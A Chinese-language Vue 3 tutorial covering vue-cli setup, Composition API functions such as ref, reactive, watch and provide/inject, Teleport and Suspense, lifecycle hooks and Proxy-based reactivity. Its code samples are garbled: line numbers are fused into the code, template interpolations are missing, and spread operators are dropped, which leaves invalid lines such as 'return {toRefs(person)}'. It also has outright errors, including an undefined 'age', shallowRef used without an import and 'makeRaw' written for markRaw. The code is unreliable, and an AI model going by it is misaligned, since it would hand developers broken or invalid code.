性能提升:打包体积减少41%,初次渲染速度提升55%,后续渲染速度提升133%,内存减少54%等。
源码升级:使用Proxy代替defineProperty实现响应式,重写虚拟DOM的实现,Tree-Shaking等。
拥抱TypeScript:Vue3可以更好的支持TypeScript等。
Composition API:setup、ref、reactive、watch、watchEffect、provide、inject等。
新的内置组件:Fragment、Teleport、Suspense等。
其他改变:新的生命周期钩子等。
首先使用vue-cli
初始化一个Vue3项目,过程与Vue2类似。
31## 创建一个项目(按上下键选择:Default (Vue 3) ([Vue 3] babel, eslint))
2vue create vue_test
3
注意:请通过
vue --version
查看@vue/cli版本,确保在4.5.0以上,否则通过npm install -g @vue/cli
进行升级。
然后进入项目根目录,使用如下命令启动项目:
61## 进入根目录
2cd vue_test
3
4## 启动
5npm run serve
6
注意:启动前关闭eslint的语法检查,编辑vue.config.js文件如下:
31module.exports = {
2lintOnSave:false, //关闭语法检查
3}
171├── node_modules
2├── public
3│ ├── favicon.ico: 页签图标
4│ └── index.html: 主页面
5├── src
6│ ├── assets: 存放静态资源
7│ │ └── logo.png
8│ │── component: 存放组件
9│ │ └── HelloWorld.vue
10│ │── App.vue: 汇总所有组件
11│ │── main.js: 入口文件
12├── .gitignore: git版本管制忽略的配置
13├── babel.config.js: babel的配置文件
14├── package.json: 应用包配置文件
15├── README.md: 应用描述文件
16├── package-lock.json:包版本控制文件
17
src/main.js
111import App from './App.vue'
2
3// 引入createApp工厂函数(而非Vue的构造函数)
4import { createApp } from 'vue'
5
6// 创建应用实例对象——app(类似于之前Vue2中的vm,但app比vm更“轻”)
7const app = createApp(App)
8
9//挂载
10app.mount('#app')
11
src/App.vue
111<template>
2 <!-- Vue3组件中的模板结构可以没有根标签 -->
3 <img alt="Vue logo" src="./assets/logo.png">
4 <img alt="Vue logo2" src="./assets/logo2.png">
5</template>
6
7<script>
8 export default {
9 name: 'App'
10 }
11</script>
steup是Vue3.0中新增的配置项,值为一个函数,是其它Composition API(组合API)表演的舞台。
341<template>
2 <h1>一个人的信息</h1>
3 <h2>姓名:</h2>
4 <h2>年龄:</h2>
5 <button @click="sayHello">点我测试</button>
6 <br>
7</template>
8
9<script>
10 export default {
11 name: 'App',
12 setup(){
13 // 数据
14 let name = '张三'
15
16 // 方法
17 function sayHello(){
18 alert(`我叫${name},我${age}岁了,你好啊!`)
19 }
20
21 // 返回关键信息给模板
22 return {
23 name,
24 age,
25 sayHello
26 }
27
28 //返回一个函数(渲染函数)
29 // return ()=> h('h1','尚硅谷')
30 }
31 }
32</script>
33
34
setup函数相关注意点:
setup函数在beforeCreate之前执行一次,this是undefined。
不可以访问Vue2.x方式所配置属性和方法等,但反之可行(最好的办法是不要混合使用)。
如果声明为异步函数(async),则必须和Suspense及异步组件配合使用(见4.3小节)。
除了可以返回一个对象外,也可返回一个渲染函数,用于自定义渲染内容(了解)。
41setup(){
2// 返回一个函数
3return ()=> h('h1','尚硅谷')
4}
setup函数有两个参数props
和context
:
props:组件外部传递过来,且组件内部声明接收了的属性。
context:上下文对象,包括attrs
、slots
和emit
。
attrs: 组件外部传递过来,但没有在props配置中声明的属性,相当于Vue2中的 this.$attrs。
slots: 收到的插槽内容,相当于Vue2中的 this.$slots。
emit: 分发自定义事件的函数,相当于 Vue2中的 this.$emit。
注意:Vue3中的子组件触发的事件需要通过emits:['event01']声明,否则会报警告。
src/App.vue
291<template>
2 <!--使用Demo组件,传递msg、school属性,绑定hello事件,填充两个插槽-->
3 <Demo msg="你好啊" school="尚硅谷" @hello="showHelloMsg">
4 <template v-slot:qwe>
5 <span>尚硅谷</span>
6 </template>
7 <template v-slot:asd>
8 <span>尚硅谷</span>
9 </template>
10 </Demo>
11</template>
12
13<script>
14 import Demo from './components/Demo'
15 export default {
16 name: 'App',
17 components:{Demo},
18 // 起步配置
19 setup(){
20 function showHelloMsg(value){
21 alert(`你好啊,你触发了hello事件,我收到的参数是:${value}!`)
22 }
23 return {
24 showHelloMsg
25 }
26 }
27 }
28</script>
29
src/components/Demo.vue
431<template>
2 <h1>一个人的信息</h1>
3 <h2>姓名:</h2>
4 <h2>年龄:</h2>
5 <button @click="test">触发一下Demo组件的Hello事件</button>
6</template>
7
8<script>
9 import {reactive} from 'vue'
10 export default {
11 name: 'Demo',
12 // 声明接收的props属性
13 props:['msg','school'],
14 // 声明可能触发的事件
15 emits:['hello'],
16 // 起步配置,带有props和context参数
17 setup(props,context){
18 console.log('---setup---',props)
19 console.log('---setup---',context)
20 console.log('---setup---',context.attrs) //相当与Vue2中的$attrs
21 console.log('---setup---',context.emit) //触发自定义事件的。
22 console.log('---setup---',context.slots) //插槽
23
24 // 数据
25 let person = reactive({
26 name:'张三',
27 age:18
28 })
29
30 // 方法
31 function test(){
32 context.emit('hello',666)
33 }
34
35 // 返回
36 return {
37 person,
38 test
39 }
40 }
41 }
42</script>
43
ref函数用于将原始数据包装为refImpl的对象,方便实现响应式,包装的语法格式为:const refValue = ref(rawValue)
。
rawValue可以是基本类型
或对象
。
基本类型:直接创建refImpl对象进行包装。
对象类型:先对原始数据调用reactive创建Proxy代理对象后,再创建refImpl对象进行包装。
refValue 在JS代码中和模板中有不同的使用场景。
JS代码中:通过refValue.value
来获取原始值。
模板表达式中:直接使用refValue对象,模板解析器会自动调用.value
来拆包使用。
提示:如果在包装对象类型的原始数据时,不想创建Proxy对象,可以使用
shallowRef
替代,这样只有在整个对象进行替换时,才会触发响应式,刷新模板。
591<template>
2 <!--在模板中访问ref对象-->
3 <h1>一个人的信息</h1>
4 <h2>姓名:</h2>
5 <h2>年龄:</h2>
6 <h3>工作种类:</h3>
7 <h3>工作薪水:</h3>
8 <button @click="changeInfo">修改人的信息</button>
9
10 <!--在模板中访问shallowRef对象-->
11 <h3>x1:</h3>
12 <button @click="x.x1=100">修改x1(不刷新)</button>
13 <button @click="x={x1:100}">替换x(刷新)</button>
14</template>
15
16<script>
17 import {ref} from 'vue'
18 export default {
19 name: 'App',
20 setup(){
21 // ref包装基本类型数据
22 let name = ref('张三')
23 let age = ref(18)
24
25 // ref包装对象类型数据
26 let job = ref({
27 type:'前端工程师',
28 salary:'30K'
29 })
30
31 // shallowRef包装对象类型数据(仅在原始数据被整个替换时才刷新模板)
32 let x = shallowRef({
33 x1:0
34 })
35
36 // 在JS中访问ref对象
37 function changeInfo(){
38 console.log(name,age)
39 name.value = '李四'
40 age.value = 48
41
42 console.log(job.value)
43 job.value.type = 'UI设计师'
44 job.value.salary = '60K'
45 }
46
47 // 返回
48 return {
49 name,
50 age,
51 job,
52 changeInfo,
53 x
54 }
55 }
56 }
57</script>
58
59
reactive函数用于创建对象类型数据的代理对象(Proxy)
,语法格式为:const 代理对象= reactive(源对象)
。该代理对象是"深层次"代理的,能监控所有层次数据的增删改查操作,包括Vue2.x不支持的增加属性、删除属性、直接用下标操作数组(如arr[0] = 1)等操作。
提示:如果只处理对象最外层属性的响应式(浅响应式),可以使用
shallowReactive
替代,一般用于第三方类库返回的数据。
511<template>
2 <h1>一个人的信息</h1>
3 <h2>姓名:</h2>
4 <h2>年龄:</h2>
5 <h3>工作种类:</h3>
6 <h3>工作薪水:</h3>
7 <h3>爱好:</h3>
8 <h3>测试的数据c:</h3>
9 <button @click="changeInfo">修改人的信息</button>
10</template>
11
12<script>
13 import {reactive} from 'vue'
14 export default {
15 name: 'App',
16 setup(){
17 // 使用reactive创建支持响应式的代理对象
18 // let person = shallowReactive({ //只考虑第一层数据的响应式
19 let person = reactive({
20 name:'张三',
21 age:18,
22 job:{
23 type:'前端工程师',
24 salary:'30K',
25 a:{
26 b:{
27 c:666
28 }
29 }
30 },
31 hobby:['抽烟','喝酒','烫头']
32 })
33
34 // 操作代理对象
35 function changeInfo(){
36 person.name = '李四'
37 person.age = 48
38 person.job.type = 'UI设计师'
39 person.job.salary = '60K'
40 person.job.a.b.c = 999
41 person.hobby[0] = '学习'
42 }
43
44 // 返回
45 return {
46 person,
47 changeInfo
48 }
49 }
50 }
51</script>
readonly用于标记一个响应式数据是只读的(深只读),一般用于第三方类库返回的响应式数据,我们一般不在自己的程序中修改它。
提示:如果你想"只读"仅对第一层属性生效,可以使用
shallowReadonly
替代(浅只读)。
411<template>
2 <h4>当前求和为:</h4> <button @click="sum++">点我++</button> <hr>
3 <h2>姓名:</h2> <button @click="name+='~'">修改姓名</button> <hr>
4 <h2>年龄:</h2> <button @click="age++">增长年龄</button> <hr>
5 <h2>薪资: K</h2> <button @click="job.j1.salary++">涨薪</button>
6</template>
7
8<script>
9 import {ref,reactive,toRefs,readonly,shallowReadonly} from 'vue'
10 export default {
11 name: 'Demo',
12 setup(){
13 // 响应式数据
14 let sum = ref(0)
15 let person = reactive({
16 name:'张三',
17 age:18,
18 job:{
19 j1:{
20 salary:20
21 }
22 }
23 })
24
25 // 使person“只读”
26 person = readonly(person)
27 // person = shallowReadonly(person)
28
29 // 使sum“只读”
30 sum = readonly(sum)
31 // sum = shallowReadonly(sum)
32
33 // 返回
34 return {
35 sum,
36 toRefs(person)
37 }
38 }
39 }
40</script>
41
本小节四个Composition API 用于实现原始数据和响应式数据之间的相互转换:
toRef:创建一个新的refImpl对象,指向另一个对象中的某个属性。
语法格式:const 新ref对象 = toRef(对象,'属性名')
。
使用场景:将响应式对象中的某个属性单独提供给外部使用时,如:return{name:toRef(person,'name')}
。
toRefs:为某个对象中的所有属性调用toRef函数,创建多个新的refImpl对象。
语法格式:toRefs(person)
。
使用场景:将响应式对象中的全部属性提供给外部使用时,如:return{...toRefs(person)}
。
481<template>
2 <h4>Person对象:</h4>
3 <h2>姓名:</h2> <button @click="name+='~'">修改姓名</button>
4 <h2>年龄:</h2> <button @click="age++">增长年龄</button>
5 <h2>薪资: K</h2> <button @click="job.j1.salary++">涨薪</button>
6 <h2>薪资2: K</h2> <button @click="salary++">涨薪2</button>
7</template>
8
9<script>
10 import {ref,reactive,toRef,toRefs} from 'vue'
11 export default {
12 name: 'Demo',
13 setup(){
14 // 响应式数据
15 let person = reactive({
16 name:'张三',
17 age:18,
18 job:{
19 j1:{
20 salary:20
21 }
22 }
23 })
24
25 // 直接取出来的是非响应式属性
26 // const name1 = person.name
27 // console.log('%%%',name1)
28
29 // 通过toRef取出来的是refImpl对象,是响应式的
30 // const name2 = toRef(person,'name')
31 // console.log('####',name2)
32
33 // 将对象的所有属性都调用toRef
34 const x = toRefs(person)
35 console.log('******',x)
36
37 // 返回
38 return {
39 person,
40 // name:toRef(person,'name'),
41 // age:toRef(person,'age'),
42 salary:toRef(person.job.j1,'salary'),
43 toRefs(person)
44 }
45 }
46 }
47</script>
48
toRaw:将一个由reactive生成的响应式对象转为普通对象。
makeRaw:标记一个对象,使其永远不会再成为响应式对象。一般用于第三方类库的数据,或者渲染大列表时使用。
491<template>
2 <h2>姓名:</h2>
3 <h3 v-show="person.car">座驾信息:</h3>
4 <button @click="showRawPerson">输出最原始的person</button>
5 <button @click="addCar">给人添加一台车</button>
6 <button @click="person.car.name+='!'">换车名</button>
7 <button @click="changePrice">换价格</button>
8</template>
9
10<script>
11 import {ref,reactive,toRefs,toRaw,markRaw} from 'vue'
12 export default {
13 name: 'Demo',
14 setup(){
15 // 响应式数据
16 let person = reactive({
17 name:'张三',
18 car:[]
19 })
20
21 // 验证由响应式数据转换为的原始数据。不再具备响应式
22 function showRawPerson(){
23 const p = toRaw(person)
24 p.name = '李四';
25 }
26
27 // 为person添加一些数据,并标记为“raw”
28 function addCar(){
29 let car = {name:'奔驰',price:40}
30 person.car = markRaw(car)
31 }
32
33 // 修改标记为“raw”的数据,界面不进行刷新
34 function changePrice(){
35 person.car.price++
36 }
37
38 // 返回
39 return {
40 person,
41 toRefs(person),
42 showRawPerson,
43 addCar,
44 changePrice
45 }
46 }
47 }
48</script>
49
isRef: 检查一个值是否为一个 ref 对象。
isReactive: 检查一个对象是否是由 reactive
创建的响应式代理。
isReadonly: 检查一个对象是否是由 readonly
创建的只读代理。
isProxy: 检查一个对象是否是由 reactive
或者 readonly
方法创建的代理(注:readonly也会创建Proxy)。
291<template>
2 <h3>我是App组件</h3>
3</template>
4
5<script>
6 import {ref, reactive,toRefs,readonly,isRef,isReactive,isReadonly,isProxy } from 'vue'
7 export default {
8 name:'App',
9 setup(){
10 let sum = ref(0)
11 let sum2 = readonly(sum)
12
13 let car = reactive({name:'奔驰',price:'40W'})
14 let car2 = readonly(car)
15
16
17
18 console.log(isRef(sum)) // true
19 console.log(isProxy(sum)) // false
20 console.log(isProxy(sum2)) // true(注:readonly也会创建Proxy)
21
22 console.log(isReactive(car)) // true
23 console.log(isReadonly(car2)) // true
24 console.log(isProxy(car)) // true
25
26 return {toRefs(car)}
27 }
28 }
29</script>
customRef用于创建一个自定义的 ref,并对其依赖项跟踪和更新触发进行显式控制。如下一个防抖案例:
441<template>
2 <input type="text" v-model="keyword">
3 <h3></h3>
4</template>
5
6<script>
7 import {ref,customRef} from 'vue'
8 export default {
9 name:'Demo',
10 setup(){
11 // 方案一:使用Vue准备好的内置ref
12 // let keyword = ref('hello')
13
14 // 方案二:1. 自定义一个myRef
15 function myRef(value,delay){
16 let timer
17 // 通过customRef去实现自定义
18 return customRef((track,trigger)=>{
19 return{
20 get(){
21 track() //告诉Vue这个value值是需要被“追踪”的
22 return value
23 },
24 set(newValue){
25 clearTimeout(timer)
26 timer = setTimeout(()=>{
27 value = newValue
28 trigger() //告诉Vue去更新界面
29 },delay)
30 }
31 }
32 })
33 }
34
35 // 方案二:2. 使用程序员自定义的myRef
36 let keyword = myRef('hello',500)
37
38 // 返回
39 return {
40 keyword
41 }
42 }
43 }
44</script>
Vue3中的计算属性通过computed函数来定义,方式与Vue2中的computed配置项配置完全一致。
431<template>
2 <h1>一个人的信息</h1>
3 姓:<input type="text" v-model="person.firstName"> <br>
4 名:<input type="text" v-model="person.lastName"> <br>
5 全名:<input type="text" v-model="person.fullName">
6</template>
7
8<script>
9 import {reactive,computed} from 'vue'
10 export default {
11 name: 'Demo',
12 setup(){
13 // 数据
14 let person = reactive({
15 firstName:'张',
16 lastName:'三'
17 })
18
19 // 计算属性——函数简写形式(没有考虑计算属性被修改的情况)
20 /* person.fullName = computed(()=>{
21 return person.firstName + '-' + person.lastName
22 }) */
23
24 // 计算属性——对象配置形式(考虑读和写)
25 person.fullName = computed({
26 get(){
27 return person.firstName + '-' + person.lastName
28 },
29 set(value){
30 const nameArr = value.split('-')
31 person.firstName = nameArr[0]
32 person.lastName = nameArr[1]
33 }
34 })
35
36 // 返回
37 return {
38 person
39 }
40 }
41 }
42</script>
43
Vue3中的属性监视通过watch函数来定义,格式为:watch(监视列表,回调函数(新值列表,旧值列表){},属性配置对象)
,根据监视的目标类型,具有不同的表现:
基本类型:由于不支持响应式,因此不支持对其进行监视。
ref类型:当引用的数据内容发生改变时,触发回调函数。
reactive类型:当数据内容发生改变时,触发回调函数。注意:监视reactive类型会强制开启深度监视,且不可获取oldValue。
reactive对象的某个属性:通过()=>reactive对象.属性
获取属性名,同监控普通对象一致,deep属性有效,但依然不可获取旧值?
此外,Vue2中讲解的immediate和deep属性依然有效(reactive类型强制开启deep),作为函数的第三个参数传入。
提示:如果需要监视多个属性,可通过数组形式传入多个属性名,回调函数中则会分别收到新值和旧值所组成的列表。
581<template>
2 <h2>当前求和为:</h2> <button @click="sum++">点我+1</button> <hr>
3 <h2>当前的信息为:</h2> <button @click="msg+='!'">修改信息</button> <hr>
4 <h2>姓名:</h2> <button @click="person.name+='~'">修改姓名</button> <hr>
5 <h2>年龄:</h2> <button @click="person.age++">增长年龄</button> <hr>
6 <h2>薪资: K</h2> <button @click="person.job.j1.salary++">涨薪</button>
7</template>
8
9<script>
10 import {ref,reactive,watch} from 'vue'
11 export default {
12 name: 'Demo',
13 setup(){
14 // 数据
15 let sum = ref(0)
16 let msg = ref('你好啊')
17 let person = reactive({
18 name:'张三',
19 age:18,
20 job:{
21 j1:{
22 salary:20
23 }
24 }
25 })
26
27 // 情况一:监视ref类型
28 watch(sum,(newValue,oldValue)=>{
29 console.log('sum变了',newValue,oldValue)
30 },{immediate:true})
31
32 // 情况二:监视reactive类型
33 // 注意:1. 此处无法正确的获取oldValue 2. 强制开启深度监视
34 watch(person,(newValue,oldValue)=>{
35 console.log('person变化了',newValue,oldValue)
36 },{immediate:true})
37
38 // 情况三:监视reactive类型中的某个属性
39 // 注意:1. 此时deep配置有效
40 watch(()=>person.name,(newValue,oldValue)=>{
41 console.log('person的name变化了',newValue,oldValue)
42 }, {immediate:true,deep:true})
43
44 // 情况四:监视多个属性
45 watch([sum,()=>person.age],(newValueList,oldValueList)=>{
46 console.log('sum或age变了',newValueList,oldValueList)
47 },{immediate:true})
48
49 // 返回
50 return {
51 sum,
52 msg,
53 person
54 }
55 }
56 }
57</script>
58
watchEffect由watch衍生而来,根据回调函数中使用的属性,可自动推断需要监视的属性,和Vue2中的计算属性非常相似。
相同点:都可以自动推断监视的属性,都在一开始时计算一次,再变化时计算一次。
不同点:计算属性更注重计算出来的值,所以必须写返回值。而watchEffect更注重的是回调处理过程,因此不用写返回值。
431<template>
2 <h2>当前求和为:</h2> <button @click="sum++">点我+1</button> <hr>
3 <h2>当前的信息为:</h2> <button @click="msg+='!'">修改信息</button> <hr>
4 <h2>姓名:</h2> <button @click="person.name+='~'">修改姓名</button> <hr>
5 <h2>年龄:</h2> <button @click="person.age++">增长年龄</button> <hr>
6 <h2>薪资: K</h2> <button @click="person.job.j1.salary++">涨薪</button>
7</template>
8
9<script>
10 import {ref,reactive,watch,watchEffect} from 'vue'
11 export default {
12 name: 'Demo',
13 setup(){
14 // 数据
15 let sum = ref(0)
16 let msg = ref('你好啊')
17 let person = reactive({
18 name:'张三',
19 age:18,
20 job:{
21 j1:{
22 salary:20
23 }
24 }
25 })
26
27 // watchEffect监视(当sum和person.job.j1.salary变化时,触发回调函数)
28 watchEffect(()=>{
29 const x1 = sum.value
30 const x2 = person.job.j1.salary
31 console.log('watchEffect所指定的回调执行了')
32 })
33
34 // 返回
35 return {
36 sum,
37 msg,
38 person
39 }
40 }
41 }
42</script>
43
在Vue2中:组件必须有一个根标签。
在Vue3中:组件可以没有根标签,内部会将多个标签包含在一个Fragment虚拟元素中。
好处:减少标签层级,减小内存占用。
Teleport是一种能够将我们的组件html结构移动到指定位置的技术,一般用于弹窗等操作。
public/index.html:指定HTML结构将会传送到的位置(锚点)。
181
2<html lang="">
3 <head>
4 <meta charset="utf-8">
5 <meta http-equiv="X-UA-Compatible" content="IE=edge">
6 <meta name="viewport" content="width=device-width,initial-scale=1.0">
7 <link rel="icon" href="<%= BASE_URL %>favicon.ico">
8 <title><%= htmlWebpackPlugin.options.title %></title>
9 </head>
10 <body>
11 <!--app实例容器-->
12 <div id="app"></div>
13
14 <!--锚点:送达的位置-->
15 <div id="atguigu"></div>
16 </body>
17</html>
18
src/App.vue:在APP组件中使用Child组件。
211<template>
2 <div class="app">
3 <h3>我是App组件</h3>
4 <Child/>
5 </div>
6</template>
7
8<script>
9 import Child from './components/Child'
10 export default {
11 name:'App',
12 components:{Child},
13 }
14</script>
15
16<style>
17 .app{
18 background-color: gray;
19 padding: 10px;
20 }
21</style>
src/components/Child.vue:在Child组件中使用Son组件。
211<template>
2 <div class="child">
3 <h3>我是Child组件</h3>
4 <Son/>
5 </div>
6</template>
7
8<script>
9 import Son from './Son'
10 export default {
11 name:'Child',
12 components:{Son},
13 }
14</script>
15
16<style>
17 .child{
18 background-color: skyblue;
19 padding: 10px;
20 }
21</style>
src/components/Son.vue:在Son组件中使用Dialog组件。
211<template>
2 <div class="son">
3 <h3>我是Son组件</h3>
4 <Dialog/>
5 </div>
6</template>
7
8<script>
9 import Dialog from './Dialog.vue'
10 export default {
11 name:'Son',
12 components:{Dialog}
13 }
14</script>
15
16<style>
17 .son{
18 background-color: orange;
19 padding: 10px;
20 }
21</style>
src/components/Dialog.vue:弹个窗,并传送到body标签。
471<template>
2 <div>
3 <button @click="isShow = true">点我弹个窗</button>
4
5 <!--将弹窗传送到atguigu位置-->
6 <teleport to="atguigu">
7 <div v-if="isShow" class="mask">
8 <div class="dialog">
9 <h3>我是一个弹窗</h3>
10 <button @click="isShow = false">关闭弹窗</button>
11 </div>
12 </div>
13 </teleport>
14 </div>
15</template>
16
17<script>
18 import {ref} from 'vue'
19 export default {
20 name:'Dialog',
21 setup(){
22 let isShow = ref(false)
23 return {isShow}
24 }
25 }
26</script>
27
28<style>
29 /* 弹窗时遮住窗外,不允许点击 */
30 .mask{
31 position: absolute;
32 top: 0;bottom: 0;left: 0;right: 0;
33 background-color: rgba(0, 0, 0, 0.5);
34 }
35
36 /* 弹窗居中对齐 */
37 .dialog{
38 position: absolute;
39 top: 50%;
40 left: 50%;
41 transform: translate(-50%,-50%);
42 text-align: center;
43 width: 300px;
44 height: 300px;
45 background-color: green;
46 }
47</style>
Suspense组件用于等待异步组件时渲染一些额外内容,让应用有更好的用户体验。使用步骤如下:
src/components/Child.vue:创建一个待使用的异步组件。
281<template>
2 <div class="child">
3 <h3>我是Child组件</h3>
4
5 </div>
6</template>
7
8<script>
9 import {ref} from 'vue'
10 export default {
11 name:'Child',
12 // 异步setup
13 async setup(){
14 let sum = ref(0)
15
16 // 创建一个Promise异步对象
17 let p = new Promise((resolve,reject)=>{
18 setTimeout(()=>{
19 resolve({sum})
20 },3000)
21 })
22
23 // await/async配合使用
24 return await p
25 }
26 }
27</script>
28
src/App.vue:引入和使用异步组件,并在加载时展示其它组件。
311<template>
2 <div class="app">
3 <h3>我是App组件</h3>
4 <!--使用内置组件Suspense包裹异步组件-->
5 <Suspense>
6 <!--default插槽为业务组件-->
7 <template v-slot:default>
8 <Child/>
9 </template>
10
11 <!--fallback插槽为加载中组件-->
12 <template v-slot:fallback>
13 <h3>稍等,加载中...</h3>
14 </template>
15 </Suspense>
16 </div>
17</template>
18
19<script>
20 // 以前:静态引入
21 // import Child from './components/Child'
22
23 // 现在:异步引入
24 import {defineAsyncComponent} from 'vue'
25 const Child = defineAsyncComponent(()=>import('./components/Child'))
26
27 export default {
28 name:'App',
29 components:{Child},
30 }
31</script>
Vue3中提供一对APIprovide
和inject
,用于父组件和后代组件间通信。
provide:在父组件中使用,用于提供数据。
inject:在后代组件中使用,用于注入数据。
src/App.vue:父组件通过provide提供数据。
321<template>
2 <div class="app">
3 <h3>我是App组件(祖), --</h3>
4 <Child/>
5 </div>
6</template>
7
8<script>
9 import { reactive,toRefs,provide } from 'vue'
10 import Child from './components/Child.vue'
11 export default {
12 name:'App',
13 components:{Child},
14 setup(){
15 // 数据
16 let car = reactive({name:'奔驰',price:'40W'})
17
18 // 给自己的后代组件传递数据
19 provide('car',car)
20
21 // 返回
22 return {toRefs(car)}
23 }
24 }
25</script>
26
27<style>
28 .app{
29 background-color: gray;
30 padding: 10px;
31 }
32</style>
src/components/Child.vue:后台组件注入数据进行使用。
251<template>
2 <div class="child">
3 <h3>我是Child组件(子), --</h3>
4 </div>
5</template>
6
7<script>
8 import {inject} from 'vue'
9 export default {
10 name:'Child',
11 setup(){
12 // 后代组件注入数据进行使用
13 let car = inject('car')
14
15 return {car}
16 }
17 }
18</script>
19
20<style>
21 .child{
22 background-color: skyblue;
23 padding: 10px;
24 }
25</style>
下面是Vue2和Vue3生命周期对比图,主要有如下一些差别:
Vue2通过Vue构造函数创建Vue实例,Vue3通过createApp工厂函数创建更轻量的app实例。
Vue2允许Vue实例创建后再判断是否被挂载,而Vue3必须等到挂载后才开始创建app实例。
Vue2中最后一个生命周期为Destroyed,而Vue3中更名为Unmounted,并且同步修改了钩子名称。
关于生命周期钩子函数,Vue3也有对应的配置项或Composition API 形式,对应关系如下:
Vue2配置项 | Vue3 配置项 | Vue3 Composition API |
---|---|---|
beforeCreate/created | beforeCreate/created | setup() |
beforeMount/mounted | beforeMount/mounted | onBeforeMount/onMounted |
beforeUpdate/updated | beforeUpdate/updated | onBeforeUpdate/onUpdated |
beforeDestroyed/destroyed | beforeUnmount/unmounted | onBeforeUnmount/onUnmounted |
注意:同样的钩子函数,Composition API 形式配置先执行!
挂载流程:setup->beforeCreate->created->onBeforeMount->beforeMount->onMounted->mounted
更新流程:onBeforeUpdate->beforeUpdate->onUpdated->updated
卸载流程:onBeforeUnmount->beforeUnmount->onUnmounted->unmounted
Vue2中的对象类型和数组类型分别通过不同的方式来实现响应式:
对象类型:通过Object.defineProperty()对属性的读取、修改进行拦截(数据劫持),缺点是在新增和删除属性时界面不会更新。
41Object.defineProperty(data, 'count', {
2 get () {},
3 set () {}
4})
数组类型:通过重写更新数组的一系列方法来实现拦截(即对数组的变更方法进行了包裹),缺点是直接通过下标修改数组时界面不会自动更新。
ref函数实现响应式分两种情形:
基本类型数据:内部依然是通过Object.defineProperty()
的get/set函数来实现响应式的(数据劫持)。
对象类型数据:内部调用了reactive
函数生成Proxy对象来实现响应式。
reactive函数仅支持对象类型数据的响应式,其内部通过ES6中的Proxy
创建代理对象,拦截对象中任意属性的变化,包括属性值的读写、属性的添加、属性的删除等,然后通过Reflect
对源对象的属性进行操作。
下面是MDN文档中描述的Proxy与Reflect:
Proxy:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy
Reflect:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect
201// 创建代理对象
2let proxy = new Proxy(data, {
3 // 拦截读取属性值
4 get (target, prop) {
5 // 通过反射操作对象
6 return Reflect.get(target, prop)
7 },
8 // 拦截设置属性值或添加新属性
9 set (target, prop, value) {
10 return Reflect.set(target, prop, value)
11 },
12 // 拦截删除属性
13 deleteProperty (target, prop) {
14 return Reflect.deleteProperty(target, prop)
15 }
16})
17
18// 尝试修改数据,会被拦截
19proxy.name = 'tom'
20
在Vue3中,可以将Composition API制作的某个独立功能单独抽象到一个封装好的函数(hook函数)中,供多个组件进行复用,实现模块化开发,类似于vue2.x中的mixin。
src/hooks/usePoint.js:通过Composition API制作鼠标打点功能。
271import {reactive,onMounted,onBeforeUnmount} from 'vue'
2export default function (){
3 // 实现鼠标“打点”相关的数据
4 let point = reactive({
5 x:0,
6 y:0
7 })
8
9 // 实现鼠标“打点”相关的方法
10 function savePoint(event){
11 point.x = event.pageX
12 point.y = event.pageY
13 console.log(event.pageX,event.pageY)
14 }
15
16 // 实现鼠标“打点”相关的生命周期钩子
17 onMounted(()=>{
18 window.addEventListener('click',savePoint)
19 })
20 onBeforeUnmount(()=>{
21 window.removeEventListener('click',savePoint)
22 })
23
24 // 返回模板渲染所使用的引用对象
25 return point
26}
27
src/components/Test.vue:测试封装好的鼠标打点功能。
221<template>
2 <h2>我是Test组件</h2>
3
4 <!--通过模块返回的数据进行模板渲染-->
5 <h2>当前点击时鼠标的坐标为:x: ,y:</h2>
6</template>
7
8<script>
9 // 引入"鼠标打点"模块
10 import usePoint from '../hooks/usePoint'
11
12 export default {
13 name:'Test',
14 setup(){
15 // 获取"鼠标打点"所需的响应式数据
16 const point = usePoint()
17
18 // 返回该响应式数据给模板
19 return {point}
20 }
21 }
22</script>
Vue 2中有许多全局 API 和配置,如注册全局组件、注册全局指令等,Vue3.0调整到了app实例上。
Vue2.x 全局 API(Vue实例) | Vue3.x 全局 API (app实例) |
---|---|
Vue.config.xxxx | app.config.xxxx |
Vue.config.productionTip | 移除(自动判断是否需要进行提示) |
Vue.component | app.component |
Vue.directive | app.directive |
Vue.mixin | app.mixin |
Vue.use | app.use |
Vue.prototype | app.config.globalProperties |
默认未在子组件emits中声明的事件都为原生DOM事件。
父组件使用自定义事件和原生事件:
51<!--绑定事件close和click,由于click未在子组件emits中声明,被当成原生DOM事件解析-->
2<my-component
3 v-on:close="handleComponentEvent"
4 v-on:click="handleNativeClickEvent"
5/>
子组件声明自定义事件:
61<script>
2 export default {
3 // 声明close为自定义事件
4 emits: ['close']
5 }
6</script>
Vue2中的写法:
111/* v-enter 与 v-leave-to名称不匹配 */
2.v-enter,
3.v-leave-to {
4 opacity: 0;
5}
6
7/* v-leave 与 v-enter-to名称不匹配 */
8.v-leave,
9.v-enter-to {
10 opacity: 1;
11}
Vue3中的写法:
111/* 修改v-enter为v-enter-from */
2.v-enter-from,
3.v-leave-to {
4 opacity: 0;
5}
6
7/* 修改v-leave为v-leave-from */
8.v-leave-from,
9.v-enter-to {
10 opacity: 1;
11}
Vue2中data配置项允许为对象形式,但会导致组件复用时,共用同一份存储空间的问题,Vue3中直接禁止这种写法。
定义按键事件时不能使用keyCode作为修饰符,同时也不再支持config.keyCodes。
过滤器虽然这看起来很方便,但它需要一个自定义语法,打破大括号内表达式是 “只是 JavaScript” 的假设,这不仅有学习成本,而且有实现成本!建议用方法调用或计算属性去替换过滤器。